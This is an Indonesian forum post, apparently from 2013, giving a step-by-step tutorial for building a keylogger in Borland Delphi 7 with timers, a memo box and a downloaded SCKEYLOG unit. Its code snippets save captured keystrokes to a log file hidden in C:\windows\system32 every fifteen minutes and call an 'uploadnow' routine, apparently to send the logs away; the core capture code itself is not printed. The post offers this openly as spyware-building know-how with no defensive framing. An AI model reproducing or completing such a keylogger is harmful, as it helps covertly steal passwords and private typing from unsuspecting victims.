Forum Online Terbaik No.1 Indonesia | Forum Diskusi Game Online Indonesia
 
IndeksFAQPencarianPendaftaranLogin
"Selamat Datang Di Forum Koesut-Koesut Community | Forum Online Terbaik No.1 Indonesia | Forum Diskusi Game Online Indonesia"

Share | 
 

 Build Keylogger Dengan Delphi/Pascal

Go down 
PengirimMessage
Admin
Admin
Admin
avatar

Status : Married
Male Jumlah posting : 216
Birthday : 23.12.89
Join date : 23.02.11
Age : 28
Lokasi Lokasi : Google
Job/hobbies : Programming

PostSubyek: Build Keylogger Dengan Delphi/Pascal   Fri Jul 12, 2013 11:05 pm

Yupzz..Kali ini Aq bakal share tentang ilmu programming. Btw, ini adalah postingan programming..
Disini Aq pake software developer Borland Delphi 7 (software sudah saya posting pada Thread sebelumnya).
Langsung ajja yaah buka Borland Delphi 7 kalian, dan tampilannya kurang lebih seperti ini :


Komponen yang kita butuhkan adalah :
1. 2 komponen Timer (System>Timer).
2. 1 komponen Memo (Standard>memo).

Source Code Default adalah berikut tampilan nya:


Untuk melihat source code, tinggal klik 2 kali d form kalian.

Setelah source codex keliatan, kita perlu membuat beberapa modifikasi, yaitu seperti berikut ini :
Di bawah public kita ketik

Code:
Loopkey : byte;

kemudian kita juga akan menambahkan global variable.

Code:
ini : tinifile;
F: Textfile;
final: string;
reg: tregistry;

code tersebut kita tambahkan di antara di bawah variable yang sudah ada, biasanya variable default adalah Form1 : TForm1;.

Setelah menambahkan global variable, ganti properties interval pada timer 1 dari 1000 menjadi 1. Kemudian, klik 2 kali pada komponen timer, maka kita akan dihadapkan pada event timer tersebut.

Code:
procedure TForm1.Timer1Timer(Sender: TObject);
begin

end;

sekarang kita tambahkan code sckeylog1 di atas begin :

Setelah itu di bawah begin tambahkan script sckeylog2.

Setelah itu pada komponen timer2 ganti properties intervalnya menjadi 900000.
Kemudian tambahkan code berikut pada event timer tersebut :

Code:
ini := tinifile.Create(‘C:\windows\system32\Log.ini’);
ini.WriteString(‘Log’,'Log’,Memo1.Text);
ini.Free;
Memo1.Clear;
uploadnow;

Code tersebut akan mentransfer logx ke directory ‘C:\windows\system32\Log.ini’.
Simple keyloggernya dah jadi, sekarang tinggal jalankan project kalian dengan menenkan tombol F9. Gimana bekerja g keyloggernya?? Klo blom berhasil, cek kembali source code form kalian.

Ok, Aq rasa itu dah cukup, Aq minta maaf kalo artikel Aq terlalu sederhana dn kurang jelas, klo ada pertanyaan, langsung cooment aja di bawah yaahh..


Nb.
Tuk SCKEYLOG nya silakan kalian unduh di [You must be registered and logged in to see this link.] SmileSmile



Packer                 : Poni
Autor SCKEYLOG  : Konstantin Tretyakov
Kembali Ke Atas Go down
http://koesut-koesut.clubme.net
 
Build Keylogger Dengan Delphi/Pascal
Kembali Ke Atas 
Halaman 1 dari 1
 Similar topics
-
» Build a Bear pans at Williams-Sonoma
» Build-A-Bears in Hallmark Stores!
» Build-A-Bear Workshop® mini friends in McDonald's Happy Meal®
» New MLP Rarity Build a bear!! :D
» Smallfrys now at Build-A-Bear Workshop!

Permissions in this forum:Anda tidak dapat menjawab topik
KOESUT-KOESUT COMMUNITY :: Application and Ways to Make Application [Source Code] :: Delphi/Pascal-
Navigasi: